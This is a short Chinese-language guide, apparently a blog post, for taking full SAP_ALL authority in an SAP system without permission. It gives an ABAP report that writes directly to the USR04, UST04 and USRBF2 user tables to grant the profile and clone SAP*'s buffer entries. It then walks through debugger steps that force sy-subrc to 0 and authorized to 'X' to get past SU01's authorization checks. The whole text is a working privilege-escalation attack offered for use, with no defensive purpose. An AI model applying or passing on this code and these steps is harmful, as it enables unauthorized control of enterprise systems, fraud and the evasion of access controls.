TABLES : usr01. DATA: l_usr04 LIKE usr04, l_ust04 LIKE ust04, l_profs LIKE usr04-profs, l_usrbf2 LIKE usrbf2 OCCURS 0 WITH HEADER LINE, l_userid LIKE usr01-bname. SELECT-OPTIONS: p_user FOR usr01-bname . START-OF-SELECTION. SELECT SINGLE * INTO l_usr04 FROM usr04 WHERE bname IN p_user. MOVE 'C SAP_ALL' TO l_profs . l_usr04-nrpro = '14'. l_usr04-profs = l_profs. UPDATE usr04 FROM l_usr04 . l_userid = l_usr04-bname. SELECT SINGLE * INTO l_ust04 FROM ust04 WHERE bname IN p_user. l_ust04-profile = 'SAP_ALL'. UPDATE ust04 FROM l_ust04 . SELECT * FROM usrbf2 INTO TABLE l_usrbf2 WHERE bname = 'SAP*' . LOOP AT l_usrbf2. l_usrbf2-bname = l_userid. MODIFY l_usrbf2 INDEX sy-tabix TRANSPORTING bname. ENDLOOP. INSERT usrbf2 FROM TABLE l_usrbf2 ACCEPTING DUPLICATE KEYS.
目的:SU01在用户参数文件加上SAP_ALL,实现可以取得 ALL权限。
前提:账号要有Debug改值的权限
运行SU01报错,没有SU01权限
-
Step1.运行SU01 看到报错:消息号 S#077
(如果这里不报错,请直接看Step3)
根据技术信息可以找到他报错的位置
FUNCTION / AUTH_CHECK_TCODE
-
Step2. 再次运行SU01
进入刚设置的断点,将SY-SUBRC的值改为0,F8运行
就可以进入SU01界面
-
Step3. 填上自己账号,并点击编辑
But 再次报错
-
Step4. SE38进入程序:CL_SUID_TOOLS=================CM00B,
在这句设置断点
if sy-subrc eq 0. "Auth check in cache.
if ls_cache_auth_node-authorized ne 'X'.
es_msg = ls_cache_auth_node-msg.
endif.
return.
endif.
-
Step5. 运行SU01 进入断点:
CL_SUID_TOOLS================= / CL_SUID_TOOLS================= / 47
METHOD / AUTH_CHECK_SINGLE (CL_SUID_TOOLS)
将1 sy-subrc 不是0时改成0
2 ls_cache_auth_node-authorized 改成'X'
注意:这里要改多次值,标注程序很多个权限对象,如果改值不充分,可能会出现报错
如:
这时候是编辑不了角色或者参数文件的。
-
Step6. 改完变量,进入SU01编辑界面,在参数文件里加上SAP_ALL ,并保存
注意过程中如果进断点,也是要改值的,同上
将1 sy-subrc 不是0时改成0
2 ls_cache_auth_node-authorized 改成'X'
-
Step7. 再测试一下SU01
1 可以直接进入编辑
2 参数文件里有SAP_ALL
获取ALL权限成功
单击赋能
最简便的方式,开发个程序,一键单击搞定,